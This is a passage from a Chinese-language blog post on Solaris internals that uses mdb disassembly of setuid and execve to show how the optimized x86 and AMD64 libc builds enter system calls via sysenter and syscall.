可以看到,由於我的機器安裝的是Solaris 10,而不是OpenSolaris,因此標準的libc庫用的是lcall方式。
如果安裝的是最新的OpenSolaris,上面的結果就是使用int $0x91了。
我們可以在/usr/lib/libc/目錄下找到爲AMD64和IA32硬件優化版本的libc庫:

# mdb /usr/lib/libc/libc_hwcap1.so.1   ---> IA32兼容的優化版libc,使用的是快速系統調用sysenter
> setuid::dis
setuid: call +0x5
setuid+5: popl %edx
setuid+6: movl $0x17,%eax
setuid+0xb: movl %esp,%ecx
setuid+0xd: addl $0x10,%edx
setuid+0x13: sysenter
setuid+0x15: jb -0x80b55 <__cerror>
setuid+0x1b: xorl %eax,%eax
setuid+0x1d: ret
> execve::dis
execve: call +0x5
execve+5: popl %edx
execve+6: movl $0x3b,%eax
execve+0xb: movl %esp,%ecx
execve+0xd: addl $0x10,%edx
execve+0x13: sysenter
execve+0x15: jb -0x80185 <__cerror>

# mdb /usr/lib/libc/libc_hwcap2.so.1 ---> AMD64兼容的優化版libc,使用的是快速系統調用syacall
> setuid::dis
setuid: movl $0x17,%eax
setuid+5: syscall
setuid+7: jb -0x80347 <__cerror>
setuid+0xd: xorl %eax,%eax
setuid+0xf: ret
> execve::dis
execve: movl $0x3b,%eax
execve+5: syscall
execve+7: jb -0x7fde7 <__cerror>


Solairs的libc進入系統調用的一般情況就研究到這裏。進一步的說明,請參考閱讀筆記: x86系統調用入門閱讀筆記:如何給OpenSolaris增加一個系統調用

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章